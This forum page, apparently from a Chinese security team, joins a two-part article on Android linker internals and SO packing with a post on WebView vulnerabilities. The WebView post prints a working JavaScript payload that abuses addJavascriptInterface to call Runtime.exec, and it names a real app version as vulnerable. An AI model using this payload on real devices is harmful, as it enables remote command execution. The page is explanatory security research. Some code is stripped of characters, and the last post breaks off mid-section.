本帖最后由 御安全 于 2016-12-2 17:23 编辑
点此查看上篇《AndroidLinker与SO加壳技术之上篇》
2.4 链接链接过程由 soinfo_link_image 函数完成，主要可以分为四个主要步骤:1. 定位 dynamic section，由函数 phdr_table_get_dynamic_section 完成，该函数会遍历 program header，找到为类型为 PT_DYNAMIC 的 header, 从中获取的是 dynamic section 的信息，主要就是虚拟地址和项数。
2. 解析 dynamic sectiondynamic section本质上是类型为Elf32_Dyn的数组，Elf32_Dyn 结构如下
typedef struct {Elf32_Sword d_tag; /* 类型(e.g. DT_SYMTAB)，决定 d_un 表示的意义*/union {Elf32_Word d_val; /* 根据 d_tag的不同，有不同的意义*/Elf32_Addr d_ptr; /* 虚拟地址 */} d_un;} Elf32_Dyn;Elf32_Dyn结构的d_tag属性表示该项的类型，类型决定了dun中信息的意义，e.g.:当d_tag = DT_SYMTAB表示该项存储的是符号表的信息，d_un.d_ptr 表示符号表的虚拟地址的偏移，当d_tag = DT_RELSZ时，d_un.d_val 表示重定位表rel的项数。解析的过程就是遍历数组中的每一项，根据d_tag的不同，获取到不同的信息。
dynamic section 中包含的信息主要包括以下 3 类:
- 符号信息- 重定位信息- init&finit funcs3. 加载 needed SO调用 find_library 获取所有依赖的 SO 的 soinfo 指针，如果 SO 还没有加载，则会将 SO 加载到内存，分配一个soinfo*[]指针数组，用于存放 soinfo 指针。
4. 重定位重定位SO 链接中最复杂同时也是最关键的一步。重定位做的工作主要是修复导入符号的引用，下面一节将对重定位过程进行详细分析。
soinfo_link_image 的示意代码:static bool soinfo_link_image(soinfo* si, const Android_dlextinfo* extinfo) {...// 1. 获取 dynamic section 的信息，si->dynamic 指向 dynamic sectionphdr_table_get_dynamic_section(phdr, phnum, base, &si->dynamic,&dynamic_count, &dynamic_flags);...// 2. 解析dynamic sectionuint32_t needed_count = 0;for (ElfW(Dyn)* d = si->dynamic; d->d_tag != DT_NULL; ++d) {switch (d->d_tag) {// 以下为符号信息case DT_HASH:si->nbucket = reinterpret_cast<uint32_t*>(base + d->d_un.d_ptr)[0];si->nchain = reinterpret_cast<uint32_t*>(base + d->d_un.d_ptr)[1];si->bucket = reinterpret_cast<uint32_t*>(base + d->d_un.d_ptr + 8);si->chain = reinterpret_cast<uint32_t*>(base + d->d_un.d_ptr + 8 + si->nbucket * 4);break;case DT_SYMTAB:si->symtab = reinterpret_cast<ElfW(Sym)*>(base + d->d_un.d_ptr);break;case DT_STRTAB:si->strtab = reinterpret_cast<const char*>(base + d->d_un.d_ptr);break;// 以下为重定位信息case DT_JMPREL:si->plt_rel = reinterpret_cast<ElfW(Rel)*>(base + d->d_un.d_ptr);break;case DT_PLTRELSZ:si->plt_rel_count = d->d_un.d_val / sizeof(ElfW(Rel));break;case DT_REL:si->rel = reinterpret_cast<ElfW(Rel)*>(base + d->d_un.d_ptr);break;case DT_RELSZ:si->rel_count = d->d_un.d_val / sizeof(ElfW(Rel));break;// 以下为 init&finit funcscase DT_INIT:si->init_func = reinterpret_cast *本站禁止HTML标签噢* (base + d->d_un.d_ptr);break;case DT_FINI:...case DT_INIT_ARRAY:si->init_array = reinterpret_cast<Linker_function_t*>(base + d->d_un.d_ptr);break;case DT_INIT_ARRAYSZ:...case DT_FINI_ARRAY:...case DT_FINI_ARRAYSZ:...// SO 依赖case DT_NEEDED:......}// 3. 加载依赖的SOfor (ElfW(Dyn)* d = si->dynamic; d->d_tag != DT_NULL; ++d) {if (d->d_tag == DT_NEEDED) {soinfo* lsi = find_library(library_name, 0, NULL);si->add_child(lsi);*pneeded++ = lsi;}}*pneeded = NULL;...// 4. 重定位soinfo_relocate(si, si->plt_rel, si->plt_rel_count, needed);soinfo_relocate(si, si->rel, si->rel_count, needed);...// 设置已链接标志si->flags |= FLAG_LINKED;DEBUG("[ finished linking %s ]", si->name);｝2.4.1 重定位 relocateAndroid ARM 下需要处理两个重定位表，plt_rel 和 rel，plt 指的是延迟绑定，但是 Android 目前并不对延迟绑定做特殊处理，直接与普通的重定位同时处理。两个重定位的表都由 soinfo_relocate 函数处理。soinfo_relocate 函数需要遍历重定位表，处理每个重定位项，每个重定位项的处理过程可已分为 4 步:
1. 解析重定位项和导入符号的信息
重定位项的结构如下typedef struct {Elf32_Addr r_offset; /* 需要重定位的位置的偏移 */Elf32_Word r_info; /* 高24位为符号在符号表中的index，低8位为重定位类型 */} Elf32_Rel;首先从重定位项获取的信息如下:· 重定位的类型 type· 符号在符号表中的索引号 sym，sym 为0表示为本SO内部的重定位，如果不为0，意味着该符号为导入符号· 重定位的目标地址 reloc，使用r_offset + si_load_bias，相当于 偏移地址+基地址符号表表项的结构为elf32_sym:typedef struct elf32_sym {Elf32_Word st_name; /* 名称 - index into string table */Elf32_Addr st_value; /* 偏移地址 */Elf32_Word st_size; /* 符号长度（ e.g. 函数的长度） */unsigned char st_info; /* 类型和绑定类型 */unsigned char st_other; /* 未定义 */Elf32_Half st_shndx; /* section header的索引号，表示位于哪个 section 中 */} Elf32_Sym;2. 如果 sym 不为0，则查找导入符号的信息如果 sym 不为0，则继续使用 sym 在符号表中获取符号信息，从符号信息中进一步获取符号的名称。随后调用 soinfo_do_lookup 函数在所有依赖的 SO 中根据符号名称查找符号信息，返回值类型为 elf32_sym，同时还会返回含有该符号的 SO 的 soinfo( lsi )，如果查找成功则该导入符号的地址为:
sym_addr = s->st_value + lsi->load_bias;
3. 修正需要重定位的地址根据重定位类型的不同，修正重定位地址，具体的重定位类型定义和计算方法可以参考 aaelf 文档的 4.6.1.2 节。
对于导入符号，则使用根据第二步得到 sym_addr 去修正，对于 SO 内部的相对偏移修正，则直接将reloc的地址加上 SO 的基址。
static int soinfo_relocate(soinfo* si, ElfW(Rel)* rel, unsigned count, soinfo* needed[]) {ElfW(Sym)* s;soinfo* lsi;// 遍历重定位表for (size_t idx = 0; idx < count; ++idx, ++rel) {// 1. 解析重定位项和导入符号的信息// 重定位类型unsigned type = ELFW(R_TYPE)(rel->r_info);// 导入符号在符号表中的 index，可以为0,(修正 SO 内部的相对偏移)unsigned sym = ELFW(R_SYM)(rel->r_info);// 需要重定位的地址ElfW(Addr) reloc = static_cast<ElfW(Addr)>(rel->r_offset + si->load_bias);ElfW(Addr) sym_addr = 0;const char* sym_name = NULL;if (type == 0) { // R_*_NONEcontinue;}if (sym != 0) {// 2. 如果 sym 有效，则查找导入符号// 从符号表中获得符号信息，在根据符号信息从字符串表中获取字符串名sym_name = reinterpret_cast<const char*>(si->strtab + si->symtab[sym].st_name);// 在依赖的 SO 中查找符号，返回值为 Elf32_Sym 类型s = soinfo_do_lookup(si, sym_name, &lsi, needed);if (s == NULL) {}// 查找失败，不关心} else {// 查找成功，最终的符号地址 = s->st_value + lsi->load_bias// s->st_value 是符号在依赖 SO 中的偏移，lsi->load_bias 为依赖 SO 的基址sym_addr = static_cast<ElfW(Addr)>(s->st_value + lsi->load_bias);}} else {s = NULL;}// 3. 根据重定位类型，修正需要重定位的地址switch (type) {// 判断重定位类型，将需要重定位的地址 reloc 修正为目标符号地址// 修正导入符号case R_ARM_JUMP_SLOT:*reinterpret_cast<ElfW(Addr)*>(reloc) = sym_addr;break;case R_ARM_GLOB_DAT:*reinterpret_cast<ElfW(Addr)*>(reloc) = sym_addr;break;case R_ARM_ABS32:*reinterpret_cast<ElfW(Addr)*>(reloc) += sym_addr;break;case R_ARM_REL32:*reinterpret_cast<ElfW(Addr)*>(reloc) += sym_addr - rel->r_offset;break;// 不支持case R_ARM_COPY:/** ET_EXEC is not supported SO this should not happen.*/DL_ERR("%s R_ARM_COPY relocations are not supported", si->name);return -1;// SO 内部的偏移修正case R_ARM_RELATIVE:if (sym) {DL_ERR("odd RELATIVE form...");return -1;}*reinterpret_cast<ElfW(Addr)*>(reloc) += si->base;break;default:DL_ERR("unknown reloc type %d @ %p (%zu)", type, rel, idx);return -1;}}return 0;}2.5 CallConstructors在编译 SO 时，可以通过链接选项-init或是给函数添加属性__attribute__((constructor))来指定 SO 的初始化函数，这些初始化函数在 SO 装载链接后便会被调用，再之后才会将 SO 的 soinfo 指针返回给 dl_open 的调用者。SO 层面的保护手段，有两个介入点, 一个是 jni_onload, 另一个就是初始化函数，比如反调试、脱壳等，逆向分析时经常需要动态调试分析这些初始化函数。完成 SO 的装载链接后，返回到 do_dlopen 函数, do_open 获得 find_library 返回的刚刚加载的 SO 的 soinfo，在将 soinfo 返回给其他模块使用之前，最后还需要调用 soinfo 的成员函数 CallConstructors。soinfo* do_dlopen(const char* name, int flags, const Android_dlextinfo* extinfo) {soinfo* si = find_library(name, flags, extinfo);if (si != NULL) {si->CallConstructors();}return si;...}CallConstructors 函数会调用 SO 的首先调用所有依赖的 SO 的 soinfo 的 CallConstructors 函数，接着调用自己的 soinfo 成员变量 init 和 看 init_array 指定的函数，这两个变量在在解析 dynamic section 时赋值。void soinfo::CallConstructors() {//如果已经调用过，则直接返回if (constructors_called) {return; }// 调用依赖 SO 的 Constructors 函数get_children().for_each([] (soinfo* si) {si->CallConstructors(); };// 调用 init_funcCallFunction("DT_INIT", init_func);// 调用 init_array 中的函数CallArray("DT_INIT_ARRAY", init_array, init_array_count, false);}有了以上分析基础后，在需要动态跟踪初始化函数时，我们就知道可以将断点设在 do_dlopen 或是 CallConstructors。3. 加壳技术在病毒和版权保护领域，“壳”一直扮演着极为重要的角色。通过加壳可以对代码进行压缩和加密，同时再辅以虚拟化、代码混淆和反调试等手段，达到防止静态和动态分析。在 Android 环境中，Native 层的加壳主要是针对动态链接库 SO，SO 加壳的示意图如下:
加壳工具、loader、被保护SO。
· SO: 即被保护的目标 SO。· loader: 自身也是一个 SO，系统加载时首先加载 loader，loader 首先还原出经过加密、压缩、变换的 SO，再将 SO 加载到内存，并完成链接过程，使 SO 可以正常被其他模块使用。· 加壳工具: 将被保护的 SO 加密、压缩、变换，并将结果作为数据与 loader 整合为 packed SO。下面对 SO 加壳的关键技术进行简单介绍。3.1 loader 执行时机Linker 加载完 loader 后，loader 需要将被保护的 SO 加载起来，这就要求 loader 的代码需要被执行，而且要在 被保护 SO 被使用之前，前文介绍了 SO 的初始化函数便可以满足这个要求，同时在 Android 系统下还可以使用 JNI_ONLOAD 函数，因此 loader 的执行时机有两个选择:· SO 的 init 或 initarray· jni_onload3.2 loader 完成 SO 的加载链接loader 开始执行后，首先需要在内存中还原出 SO，SO 可以是经过加密、压缩、变换等手段，也可已单纯的以完全明文的数据存储，这与 SO 加壳的技术没有必要的关系，在此不进行讨论。在内存中还原出 SO 后，loader 还需要执行装载和链接，这两个过程可以完全模仿 Linker 来实现，下面主要介绍一下相对 Linker，loader 执行这两个过程有哪些变化。
3.2.1 装载还原后的 SO 在内存中，所以装载时的主要变化就是从文件装载到从内存装载。Linker 在装载 PT_LAOD segment时，使用 SO 文件的描述符 fd：
void* seg_addr = mmap(reinterpret_cast<void*>(seg_page_start),file_length,PFLAGS_TO_PROT(phdr->p_flags),MAP_FIXED|MAP_PRIVATE,fd_,file_page_start);按照 Linker 装载，PT_LAOD segment时，需要分为两步：// 1、改用匿名映射void* seg_addr = mmap(reinterpret_cast<void*>(seg_page_start),file_length,PFLAGS_TO_PROT(phdr->p_flags),MAP_FIXED|MAP_PRIVATE,-1,0);// 2、将内存中的 segment 复制到映射的内存中memcpy(seg_addr+seg_page_offset, elf_data_buf + phdr->p_offset, phdr->p_filesz);注意第2步复制 segment 时，目标地址需要加上 seg_page_offset，seg_page_offset 是 segment 相对与页面起始地址的偏移。其他的步骤基本按照 Linker 的实现即可，只需要将一些从文件读取修改为从内存读取，比如读 elfheader和program header时。
3.2.2 分配 soinfosoinfo 保存了 SO 装载链接和运行时需要的所有信息，为了维护相关的信息，loader 可以照搬 Linker 的 soinfo 结构，用于存储中间信息，装载链接结束后，还需要将 soinfo 的信息修复到 Linker 维护的soinfo，3.3节进行详细说明。3.2.3 链接链接过程完全是操作内存，不论是从文件装载还是内存装载，链接过程都是一样，完全模仿 Linker 即可。另外链接后记得顺便调用 SO 初始化函数( init 和 init_array )。
3.3 soinfo 修复SO 加壳的最关键技术点在于 soinfo 的修复，由于 Linker 加载的是 loader，而实际对外使用的是被保护的 SO，所以 Linker 维护的 soinfo 可以说是错误，loader 需要将自己维护的 soinfo 中的部分信息导出给 Linker 的soinfo。修复过程如下：00001. 获取 Linker 维护的 soinfo，可以通过 dlopen 打开自己来获得：self_soinfo = dlopen(self)。00002. 将 loader soinfo 中的信息导出到 self_soinfo，最简单粗暴的方式就是直接赋值，比如：self_soinfo.base = soinfo.base。需要导出的主要有以下几项：· SO地址范围：base、size、load_bias· 符号信息:sym_tab、str_tab、· 符号查找信息：nbucket、nchain、bucket、chain· 异常处理：ARM_exidx、ARM_exidx_count参考· <<Linkers and loaders>>· <<ELF for the ARM Architecture>>[查看全文]
本帖最后由 御安全 于 2016-11-24 18:48 编辑
1. 前言
Android 系统安全愈发重要，像传统pc安全的可执行文件加固一样，应用加固是Android系统安全中非常重要的一环。目前Android 应用加固可以分为dex加固和Native加固，Native 加固的保护对象为 Native 层的 SO 文件，使用加壳、反调试、混淆、VM 等手段增加SO文件的反编译难度。目前最主流的 SO 文件保护方案还是加壳技术， 在SO文件加壳和脱壳的攻防技术领域，最重要的基础的便是对于 Linker 即装载链接机制的理解。对于非安全方向开发者，深刻理解系统的装载与链接机制也是进阶的必要条件。本文详细分析了 Linker 对 SO 文件的装载和链接过程，最后对 SO 加壳的关键技术进行了简要的介绍。对于 Linker 的学习，还应该包括 Linker 自举、可执行文件的加载等技术，但是限于本人的技术水平，本文的讨论范围限定在 SO 文件的加载，也就是在调用dlopen("libxx.SO")之后，Linker 的处理过程。本文基于 Android 5.0 AOSP 源码，仅针对 ARM 平台，为了增强可读性，文中列举的源码均经过删减，去除了其他 CPU 架构的相关源码以及错误处理。另:阅读本文的读者需要对 ELF 文件结构有一定的了解。2. SO 的装载与链接2.1 整体流程说明
2.1.1do_dlopen调用 dl_open 后，中间经过 dlopen_ext, 到达第一个主要函数 do_dlopen:
soinfo* do_dlopen(const char* name, int flags, const Android_dlextinfo* extinfo) {protect_data(PROT_READ | PROT_WRITE);soinfo* si = find_library(name, flags, extinfo); // 查找 SOif (si != NULL) {si->CallConstructors(); // 调用 SO 的 init 函数}protect_data(PROT_READ);return si;}do_dlopen 调用了两个重要的函数，第一个是find_library, 第二个是 soinfo 的成员函数 CallConstructors，find_library 函数是 SO 装载链接的后续函数， 完成 SO 的装载链接后， 通过 CallConstructors 调用 SO 的初始化函数。2.1.2find_library_internalfind_library 直接调用了 find_library_internal，下面直接看 find_library_internal函数:
static soinfo* find_library_internal(const char* name, int dlflags, const Android_dlextinfo* extinfo) {if (name == NULL) {return somain;}soinfo* si = find_loaded_library_by_name(name); // 判断 SO 是否已经加载if (si == NULL) {TRACE("[ '%s' has not been found by name. Trying harder...]", name);si = load_library(name, dlflags, extinfo); // 继续 SO 的加载流程}if (si != NULL && (si->flags & FLAG_LINKED) == 0) {DL_ERR("recursive link to \"%s\"", si->name);return NULL;}return si;}find_library_internal 首先通过 find_loaded_library_by_name 函数判断目标 SO 是否已经加载，如果已经加载则直接返回对应的soinfo指针，没有加载的话则调用 load_library 继续加载流程，下面看 load_library 函数。2.13load_librarystatic soinfo* load_library(const char* name, int dlflags, const Android_dlextinfo* extinfo) {int fd = -1;...// Open the file.fd = open_library(name); // 打开 SO 文件，获得文件描述符 fdElfReader elf_reader(name, fd); // 创建 ElfReader 对象...// Read the ELF header and load the segments.if (!elf_reader.Load(extinfo)) { // 使用 ElfReader 的 Load 方法，完成 SO 装载return NULL;}soinfo* si = soinfo_alloc(SEARCH_NAME(name), &file_stat); // 为 SO 分配新的 soinfo 结构if (si == NULL) {return NULL;}si->base = elf_reader.load_start(); // 根据装载结果，更新 soinfo 的成员变量si->size = elf_reader.load_size();si->load_bias = elf_reader.load_bias();si->phnum = elf_reader.phdr_count();si->phdr = elf_reader.loaded_phdr();...if (!soinfo_link_image(si, extinfo)) { // 调用 soinfo_link_image 完成 SO 的链接过程soinfo_free(si);return NULL;}return si;}load_library 函数呈现了 SO 装载链接的整个流程，主要有3步:1装载:创建ElfReader对象，通过 ElfReader 对象的 Load 方法将 SO 文件装载到内存2分配soinfo:调用 soinfo_alloc 函数为 SO 分配新的 soinfo 结构，并按照装载结果更新相应的成员变量3链接: 调用 soinfo_link_image 完成 SO 的链接通过前面的分析，可以看到， load_library 函数中包含了 SO 装载链接的主要过程, 后文主要通过分析 ElfReader 类和 soinfo_link_image 函数, 来分别介绍 SO 的装载和链接过程。2.2 装载在 load_library 中， 首先初始化 elf_reader 对象, 第一个参数为 SO 的名字， 第二个参数为文件描述符 fd:ElfReader elf_reader(name, fd)
之后调用 ElfReader 的 load 方法装载 SO。
...// Read the ELF header and load the segments.if (!elf_reader.Load(extinfo)) {return NULL;}...ElfReader::Load 方法如下:bool ElfReader::Load(const Android_dlextinfo* extinfo) {return ReadElfHeader() && // 读取 elf headerVerifyElfHeader() && // 验证 elf headerReadProgramHeader() && // 读取 program headerReserveAddressSpace(extinfo) &&// 分配空间LoadSegments() && // 按照 program header 指示装载 segmentsFindPhdr(); // 找到装载后的 phdr 地址}ElfReader::Load 方法首先读取 SO 的elf header，再对elf header进行验证，之后读取program header，根据program header 计算 SO 需要的内存大小并分配相应的空间，紧接着将 SO 按照以 segment 为单位装载到内存，最后在装载到内存的 SO 中找到program header，方便之后的链接过程使用。下面深入 ElfReader 的这几个成员函数进行详细介绍。
2.2.1 read&verify elfheaderbool ElfReader::ReadElfHeader() {ssize_t rc = read(fd_, &header_, sizeof(header_));if (rc != sizeof(header_)) {return false;}return true;}ReadElfHeader 使用 read 直接从 SO 文件中将 elfheader 读取 header 中，header_ 为 ElfReader 的成员变量，类型为 Elf32_Ehdr，通过 header 可以方便的访问 elf header中各个字段，elf header中包含有 program header table、section header table等重要信息。对 elf header 的验证包括:
magic字节32/64 bit 与当前平台是否一致大小端类型:可执行文件、SO …版本:一般为 1，表示当前版本平台:ARM、x86、amd64 …有任何错误都会导致加载失败。2.2.2 Read ProgramHeaderbool ElfReader::ReadProgramHeader() {phdr_num_ = header_.e_phnum; // program header 数量// mmap 要求页对齐ElfW(Addr) page_min = PAGE_START(header_.e_phoff);ElfW(Addr) page_max = PAGE_END(header_.e_phoff + (phdr_num_ * sizeof(ElfW(Phdr))));ElfW(Addr) page_offset = PAGE_OFFSET(header_.e_phoff);phdr_size_ = page_max - page_min;// 使用 mmap 将 program header 映射到内存void* mmap_result = mmap(NULL, phdr_size_, PROT_READ, MAP_PRIVATE, fd_, page_min);phdr_mmap_ = mmap_result;// ElfReader 的成员变量 phdr_table_ 指向program header tablephdr_table_ = reinterpret_cast<ElfW(Phdr)*>(reinterpret_cast<char*>(mmap_result) + page_offset);return true;}将 program header 在内存中单独映射一份，用于解析program header 时临时使用，在 SO 装载到内存后，便会释放这块内存，转而使用装载后的 SO 中的program header。2.2.3 reserve space & 计算 load sizebool ElfReader::ReserveAddressSpace(const Android_dlextinfo* extinfo) {ElfW(Addr) min_vaddr;// 计算 加载SO 需要的空间大小load_size_ = phdr_table_get_load_size(phdr_table_, phdr_num_, &min_vaddr);// min_vaddr 一般情况为零，如果不是则表明 SO 指定了加载基址uint8_t* addr = reinterpret_cast<uint8_t*>(min_vaddr);void* start;int mmap_flags = MAP_PRIVATE | MAP_ANONYMOUS;start = mmap(addr, load_size_, PROT_NONE, mmap_flags, -1, 0);load_start_ = start;load_bias_ = reinterpret_cast<uint8_t*>(start) - addr;return true;}首先调用 phdr_table_get_load_size 函数获取 SO 在内存中需要的空间load_size，然后使用 mmap 匿名映射，预留出相应的空间。关于loadbias: SO 可以指定加载基址，但是 SO 指定的加载基址可能不是页对齐的，这种情况会导致实际映射地址和指定的加载地址有一个偏差，这个偏差便是 load_bias_，之后在针对虚拟地址进行计算时需要使用 load_bias_ 修正。普通的 SO 都不会指定加载基址，这时min_vaddr = 0，则 load_bias_ = load_start_，即load_bias_ 等于加载基址，下文会将load_bias_ 直接称为基址。下面深入phdr_table_get_load_size分析一下 load_size 的计算:使用成员变量 phdr_table 遍历所有的program header， 找到所有类型为 PT_LOAD 的 segment 的 p_vaddr 的最小值，p_vaddr + p_memsz 的最大值，分别作为 min_vaddr 和 max_vaddr，在将两个值分别对齐到页首和页尾，最终使用对齐后的 max_vaddr - min_vaddr 得到 load_size。size_t phdr_table_get_load_size(const ElfW(Phdr)* phdr_table, size_t phdr_count,ElfW(Addr)* out_min_vaddr,ElfW(Addr)* out_max_vaddr) {ElfW(Addr) min_vaddr = UINTPTR_MAX;ElfW(Addr) max_vaddr = 0;bool found_pt_load = false;for (size_t i = 0; i < phdr_count; ++i) {const ElfW(Phdr)* phdr = &phdr_table;if (phdr->p_type != PT_LOAD) {continue;}found_pt_load = true;if (phdr->p_vaddr < min_vaddr) {min_vaddr = phdr->p_vaddr; // 记录最小的虚拟地址}if (phdr->p_vaddr + phdr->p_memsz > max_vaddr) {max_vaddr = phdr->p_vaddr + phdr->p_memsz; // 记录最大的虚拟地址}}if (!found_pt_load) {min_vaddr = 0;}min_vaddr = PAGE_START(min_vaddr); // 页对齐max_vaddr = PAGE_END(max_vaddr); // 页对齐if (out_min_vaddr != NULL) {*out_min_vaddr = min_vaddr;}if (out_max_vaddr != NULL) {*out_max_vaddr = max_vaddr;}return max_vaddr - min_vaddr; // load_size = max_vaddr - min_vaddr}2.2.4 Load Segments遍历 program header table，找到类型为 PT_LOAD 的 segment:计算 segment 在内存空间中的起始地址 segstart 和结束地址 seg_end，seg_start 等于虚拟偏移加上基址load_bias，同时由于 mmap 的要求，都要对齐到页边界得到 seg_page_start 和 seg_page_end。计算 segment 在文件中的页对齐后的起始地址 file_page_start 和长度 file_length。使用 mmap 将 segment 映射到内存，指定映射地址为 seg_page_start，长度为 file_length，文件偏移为 file_page_start。bool ElfReader::LoadSegments() {for (size_t i = 0; i < phdr_num_; ++i) {const ElfW(Phdr)* phdr = &phdr_table_;if (phdr->p_type != PT_LOAD) {continue;}// Segment 在内存中的地址.ElfW(Addr) seg_start = phdr->p_vaddr + load_bias_;ElfW(Addr) seg_end = seg_start + phdr->p_memsz;ElfW(Addr) seg_page_start = PAGE_START(seg_start);ElfW(Addr) seg_page_end = PAGE_END(seg_end);ElfW(Addr) seg_file_end = seg_start + phdr->p_filesz;// 文件偏移ElfW(Addr) file_start = phdr->p_offset;ElfW(Addr) file_end = file_start + phdr->p_filesz;ElfW(Addr) file_page_start = PAGE_START(file_start);ElfW(Addr) file_length = file_end - file_page_start;if (file_length != 0) {// 将文件中的 segment 映射到内存void* seg_addr = mmap(reinterpret_cast<void*>(seg_page_start),file_length,PFLAGS_TO_PROT(phdr->p_flags),MAP_FIXED|MAP_PRIVATE,fd_,file_page_start);}// 如果 segment 可写, 并且没有在页边界结束，那么就将 segemnt end 到页边界的内存清零。if ((phdr->p_flags & PF_W) != 0 && PAGE_OFFSET(seg_file_end) > 0) {memset(reinterpret_cast<void*>(seg_file_end), 0, PAGE_SIZE - PAGE_OFFSET(seg_file_end));}seg_file_end = PAGE_END(seg_file_end);// 将 (内存长度 - 文件长度) 对应的内存进行匿名映射if (seg_page_end > seg_file_end) {void* zeromap = mmap(reinterpret_cast<void*>(seg_file_end),seg_page_end - seg_file_end,PFLAGS_TO_PROT(phdr->p_flags),MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,-1,0);}}return true;}2.3 分配 soinfoload_library 在调用 load_segments 完成装载后，接着调用 soinfo_alloc 函数为目标SO分配soinfo，soinfo_alloc 函数实现如下:static soinfo* soinfo_alloc(const char* name, struct stat* file_stat) {soinfo* si = g_soinfo_allocator.alloc(); //分配空间，可以简单理解为 malloc// Initialize the new element.memset(si, 0, sizeof(soinfo));strlcpy(si->name, name, sizeof(si->name));si->flags = FLAG_NEW_SOINFO;sonext->next = si; // 加入到存有所有 soinfo 的链表中sonext = si;return si;}Linker 为 每个 SO 维护了一个soinfo结构，调用 dlopen时，返回的句柄其实就是一个指向该 SO 的 soinfo 指针。soinfo 保存了 SO 加载链接以及运行期间所需的各类信息，简单列举一下:装载链接期间主要使用的成员:l 装载信息const ElfW(Phdr)* phdr;size_t phnum;ElfW(Addr) base;size_t size;l 符号信息const char* strtab;ElfW(Sym)* symtab;l 重定位信息ElfW(Rel)* plt_rel;size_t plt_rel_count;ElfW(Rel)* rel;size_t rel_count;l init 函数和 finit 函数Linker_function_t* init_array;size_t init_array_count;Linker_function_t* fini_array;size_t fini_array_count;Linker_function_t init_func;Linker_function_t fini_func;运行期间主要使用的成员:l 导出符号查找（dlsym）:const char* strtab;ElfW(Sym)* symtab;size_t nbucket;size_t nchain;unsigned* bucket;unsigned* chain;ElfW(Addr) load_bias;l 异常处理:unsigned* ARM_exidx;size_t ARM_exidx_count;load_library 在为 SO 分配 soinfo 后，会将装载结果更新到 soinfo 中，后面的链接过程就可以直接使用soinfo的相关字段去访问 SO 中的信息。...si->base = elf_reader.load_start();si->size = elf_reader.load_size();si->load_bias = elf_reader.load_bias();si->phnum = elf_reader.phdr_count();si->phdr = elf_reader.loaded_phdr();...（腾讯御安全团队）[查看全文]
0X01 About WebView
在Android开发中，经常会使用WebView来实现WEB页面的展示，在Activiry中启动自己的浏览器，或者简单的展示一些在线内容等。WebView功能强大，应用广泛，但它是天使与恶魔的合体，一方面它增强了APP的上网体验，让APP功能更多样化，另一方面它也引入了很多的安全问题。在过去几年WebView中被披露的重大漏洞包括了任意代码执行漏洞、跨域、密码明文保存等，这些安全问题可以直接导致用户敏感信息泄露，移动终端被恶意攻击者控制。下文将详细介绍这一系列安全问题，罗列相关的一些案列，并提供相应安全开发建议。
0X02 WebView任意代码执行漏洞
已知的WebView任意代码执行漏洞有4个。较早被公布是CVE-2012-6636，揭露了WebView中addJavascriptInterface接口会引起远程代码执行漏洞。接着是CVE-2013-4710，针对某些特定机型会存在addJavascriptInterface API引起的远程代码执行漏洞。之后是CVE-2014-1939爆出WebView中内置导出的“searchBoxJavaBridge_”Java Object可能被利用，实现远程任意代码。再后来是CVE-2014-7224，类似于CVE-2014-1939，WebView内置导出“accessibility”和“accessibilityTraversal”两个Java Object接口，可被利用实现远程任意代码执行。
后文我们将围绕下面这段常见的示例代码展开：
WebView mWebView = (WebView)findViewById(R.id.webView);
①WebSettings msetting = mWebView.getSettings();
②msetting.setJavaScriptEnabled(true);
③mWebView.addJavascriptInterface(new TestAddJsInterface(), "myjs");
④mWebView.loadUrl(getIntent().getStringExtra("url"));
CVE-2012-6636
Android系统为了方便APP中Java代码和网页中的Javascript脚本交互，在WebView控件中实现了addJavascriptInterface接口，对应示例代码中的③，网页中的JS脚本可以利用接口“myjs”调用App中的Java代码，而Java对象继承关系会导致很多Public的函数及getClass函数都可以在JS中被访问，结合Java的反射机制，攻击者还可以获得系统类的函数，进而可以进行任意代码执行。漏洞在2013年8月被披露后，很多APP都中招，其中浏览器APP成为重灾区。但截至目前任有很多APP中依然存在此漏洞，与以往不同的只是攻击入口发生了一定的变化。另外我们也发现一些小厂商的APP开发团队因为缺乏安全意识，依然还在APP中随心所欲的使用addjs接口，明目张胆踩雷。
出于安全考虑，Google在API 17中规定允许被调用的函数必须以@JavascriptInterface进行注解，理论上如果APP依赖的API为17或者以上，就不会受该问题的影响。但部分机型上，API 17依然受影响，并且如果APP存在此漏洞，且targetsdk小于17，那漏洞的影响可以覆盖到android4.4的终端,如果大于等于17，只能在android4.2的机型上触发，所以前一种情况的危害目前来看依旧很大。
CVE-2014-1939
在2014年发现在Android4.4以下的系统中，webkit中默认内置了“searchBoxJavaBridge_”， 代码位于“java/android/webkit/BrowserFrame.java”，该接口同样存在远程代码执行的威胁。
CVE-2014-7224
在2014年，研究人员Daoyuan Wu和Rocky Chang发现，当系统辅助功能服务被开启时，在Android4.4以下的系统中，由系统提供的WebView组件都默认导出"accessibility" 和"accessibilityTraversal"这两个接口，代码位于“android/webkit/AccessibilityInjector.java”，这两个接口同样存在远程任意代码执行的威胁。
常见挂马页面
function addJsHack(cmdArgs){
for (var obj in window)
{ try {
if ("getClass" in window[obj]) {
try{
window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);;
}catch(e){
}
}
} catch(e) {
}
}
}
addJsHack()
扫码攻击
图片来自于某漏洞收集平台，通过二维码扫描触发WebView任意代码执行漏洞：
以聚美优品为例Ver 3.305，APK MD5:DD8B00EDA393526F66D25CA16E8C7B5C，相关代码位于com.jm.android.jumei.controls.JuMeiCustomWebView.java中：
public void initWebView(Activity activity, String str, LinearLayout linearLayout, IWebViewNotify iWebViewNotify) {
......
this.wapView.addJavascriptInterface(new WebAppJSInterface(), WEBVIEW_JS_INTERFACE_NAME);
}
0X03 WebView密码明文存储漏洞
WebView默认开启密码保存功能mWebView.setSavePassword(true)，如果该功能未关闭，在用户输入密码时，会弹出提示框，询问用户是否保存密码，如果选择"是"，密码会被明文保到/data/data/com.package.name/databases/webview.db
0X04 WebView域控制不严格漏洞
setAllowFileAccess
Android中默认mWebView.setAllowFileAccess(true)，在File域下，能够执行任意的JavaScript代码，同源策略跨域访问能够对私有目录文件进行访问等。APP对嵌入的WebView未对file:/// 形式的URL做限制，会导致隐私信息泄露，针对IM类软件会导致聊天信息、联系人等等重要信息泄露，针对浏览器类软件，则更多的是cookie信息泄露。
setAllowFileAccessFromFileURLs
在JELLY_BEAN以前的版本默认是setAllowFileAccessFromFileURLs(true),允许通过file域url中的Javascript读取其他本地文件，在JELLY_BEAN及以后的版本中默认已被是禁止。
setAllowUniversalAccessFromFileURLs
